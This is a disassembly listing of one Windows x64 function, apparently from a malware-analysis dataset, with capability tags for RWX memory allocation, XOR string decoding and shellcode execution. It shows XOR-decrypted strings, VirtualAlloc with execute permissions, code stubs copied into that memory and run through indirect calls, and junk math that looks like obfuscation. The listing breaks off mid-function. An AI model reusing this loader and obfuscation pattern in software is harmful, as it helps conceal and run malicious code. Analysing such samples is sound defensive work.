Function at 0x14000d3a0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x15e0]
mov eax, 0x16e0
call fcn.14002b9a0
sub rsp, rax
movaps xmmword [rsp + 0x16d0], xmm6
movaps xmmword [rsp + 0x16c0], xmm7
movaps xmmword [rsp + 0x16b0], xmm8
movaps xmmword [rsp + 0x16a0], xmm9
movaps xmmword [rsp + 0x1690], xmm10
movaps xmmword [rsp + 0x1680], xmm11
movaps xmmword [rsp + 0x1670], xmm12
movaps xmmword [rsp + 0x1660], xmm13
movaps xmmword [rsp + 0x1650], xmm14
movaps xmmword [rsp + 0x1640], xmm15
mov rax, qword [0x140038040]
xor rax, rsp
mov qword [rbp + 0x1530], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
lea rax, [rbp + 0x1608]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x168], rcx
mov qword [rbp + 0x170], rax
mov rax, qword [rax]
xor rax, rcx
mov qword [rbp + 0x160], rax
movups xmmword [rbp + 0xd8], xmm0
lea r15, [rbp + 0x1608]
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xd8], rcx
mov qword [r15], r12
mov edi, dword [rbx + 0x10]
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000d4a8
mov r8, qword [rbx]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call fcn.14002acbc
mov rsi, rax
cmp qword [rbx + 0x18], 0xf
jbe 0x14000d4eb
mov rbx, qword [rbx]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
lea r9d, [rdi + 1]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rsi
lea rcx, [rbp + 0xb0]
call fcn.14001e780
mov rcx, rsi
call fcn.14002a960
nop
mov qword [rbp + 0xd8], r12
mov qword [r15], r12
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x10]
call fcn.14000a540
nop
mov rdx, rax
lea rcx, [rbp + 0x178]
call fcn.1400034b0
nop
lea rcx, [rbp - 0x10]
call fcn.140002710
nop
lea rcx, [rbp + 0xb0]
call fcn.140002710
movups xmm0, xmmword [str.8__p61:.9B_15____18____]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [0x14002f428]
movups xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [0x14002f438]
movups xmmword [rbp + 0x140], xmm0
movsd xmm0, qword [0x14002f448]
movsd qword [rbp + 0x150], xmm0
mov eax, dword [0x14002f450]
mov dword [rbp + 0x158], eax
movzx eax, word [0x14002f454]
mov word [rbp + 0x15c], ax
movzx eax, byte [0x14002f456]
mov byte [rbp + 0x15e], al
mov r9d, r12d
movdqa xmm9, xmmword [0x14002fa00]
movdqa xmm13, xmmword [0x14002fa30]
movdqa xmm14, xmmword [0x14002f9f0]
movdqa xmm15, xmmword [0x14002fa70]
movdqa xmm10, xmmword [0x14002fa40]
movdqa xmm11, xmmword [0x14002fa60]
movdqa xmm12, xmmword [0x14002f9d0]
mov r15d, dword [0x140038090]
cmp r15d, 2
jl 0x14000d7c1
movdqa xmmword [rsp + 0x40], xmm13
lea rcx, [rbp + 0x120]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
pmuldq xmm3, xmm10
pmuldq xmm1, xmm10
shufps xmm3, xmm1, 0xdd
psubd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x14000d630
cmp r9d, 0x3f
jge 0x14000d822
movsxd rax, r9d
lea r10, [rbp + 0x120]
add r10, rax
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, 0x25
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x14000d7d0
lea rax, [rbp + 0x120]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002570
nop
mov ecx, r12d
mov r14d, 3
lea rbx, [0x140020620]
lea rdi, [0x140000000]
mov rax, qword [0x140039ea0]
test rax, rax
je 0x14000d89a
cmp rax, rbx
je 0x14000d887
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39ea0]
test rax, rax
jne 0x14000d871
jmp 0x14000d89a
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x39860]
test r8, r8
jne 0x14000d97f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000d8c3
mov r8, r12
jmp 0x14000d95e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000d8d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140039850]
mov qword [rdi + rax*8 + 0x39ea0], rbx
mov qword [rdi + rax*8 + 0x39860], r8
inc rax
mov qword [0x140039850], rax
lea rdx, [rsp + 0x50]
lea rcx, [0x14000a180]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001e3a0
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x14002fa20]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
xorps xmm8, xmm8
movsd qword [rsp + 0x38], xmm8
lea rcx, [rsp + 0x40]
call fcn.140001670
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14001fe60
lea rcx, [rbp + 0xf0]
call fcn.140002560
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.14001fe80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x60]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001feb0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x60]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001fee0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x60]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff10
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x60]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff40
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x60]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.14001ff70
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x60], rcx
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.14001e2d0
nop
lea rcx, [rsp + 0x60]
call fcn.14001e2b0
nop
lea rcx, [rsp + 0x40]
call fcn.14001e2b0
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140002510
movsd xmm7, qword [0x14002f988]
movsd xmm6, qword [0x14002f980]
test al, al
jns 0x14000df13
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm1, xmm5
call fcn.1400023e0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001ea80
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002350
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rcx, [rbp + 0xd8]
call fcn.14001e450
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140020020
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002460
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140020080
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov r8d, ebx
mov edx, eax
call fcn.140002530
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x14000de05
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000de14
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x14000de95
lea rcx, [rbp + 0xd0]
call fcn.14001fdc0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000deb5
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.14001ffa0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x14000de30
sub rdi, 1
jne 0x14000de20
lea rcx, [rbp + 0xd8]
call fcn.14001e3f0
nop
lea rcx, [rbp + 0x120]
call fcn.14001ea20
sub rsi, 1
jne 0x14000dbf0
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140002510
test al, al
js 0x14000dbe0
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001e300
mov dword [rsp + 0x30], 0x96
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002570
nop
mov ecx, r12d
lea r13, [0x140020650]
mov rax, qword [0x140039b80]
test rax, rax
je 0x14000df8a
cmp rax, r13
je 0x14000df77
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39b80]
test rax, rax
jne 0x14000df61
jmp 0x14000df8a
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b4c0]
test r8, r8
jne 0x14000e06f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000dfb3
mov r8, r12
jmp 0x14000e04e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000dfc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003a1c0]
mov qword [rdi + rax*8 + 0x39b80], r13
mov qword [rdi + rax*8 + 0x3b4c0], r8
inc rax
mov qword [0x14003a1c0], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
movups xmm0, xmmword [str.hla6rrv__]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x14002f7e0]
movups xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [0x14002f7f0]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [0x14002f800]
movups xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [0x14002f810]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x14002f820]
movups xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [0x14002f830]
movups xmmword [rbp + 0x90], xmm0
movsd xmm0, qword [0x14002f840]
movsd qword [rbp + 0xa0], xmm0
movzx eax, byte [0x14002f848]
mov byte [rbp + 0xa8], al
mov r9d, r12d
cmp r15d, 2
jl 0x14000e2c1
movdqa xmmword [rsp + 0x40], xmm13
lea rcx, [rbp + 0x30]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x14000e130
cmp r9d, 0x79
jge 0x14000e322
movsxd rax, r9d
lea r10, [rbp + 0x30]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, 0x25
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x14000e2d0
movups xmm0, xmmword [str.8__p302xx]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x14002f600]
movups xmm1, xmmword [0x14002f5f0]
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
movzx eax, word [0x14002f648]
movups xmm0, xmmword [0x14002f620]
movups xmm1, xmmword [0x14002f610]
mov word [rbp - 0x18], ax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x50], xmm1
movzx eax, byte [0x14002f64a]
movsd xmm0, qword [0x14002f640]
movups xmm1, xmmword [0x14002f630]
mov byte [rbp - 0x16], al
movsd qword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x30], xmm1
mov r9d, r12d
cmp r15d, 2
jl 0x14000e541
movdqa xmmword [rsp + 0x40], xmm13
lea rcx, [rbp - 0x80]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x14000e3b0
cmp r9d, 0x6b
jge 0x14000e5a2
movsxd rax, r9d
lea r10, [rbp - 0x80]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, 0x25
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x14000e550
lea r8, [rbp + 0x178]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140020680
nop
lea r8, [rbp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.14001fd00
nop
mov rcx, rax
call fcn.14001e8e0
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002560
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002570
nop
mov ecx, r12d
lea rbx, [0x140020620]
mov rax, qword [0x14003bb10]
test rax, rax
je 0x14000e63a
cmp rax, rbx
je 0x14000e627
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3bb10]
test rax, rax
jne 0x14000e611
jmp 0x14000e63a
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3ab40]
test r8, r8
jne 0x14000e71f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000e663
mov r8, r12
jmp 0x14000e6fe
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
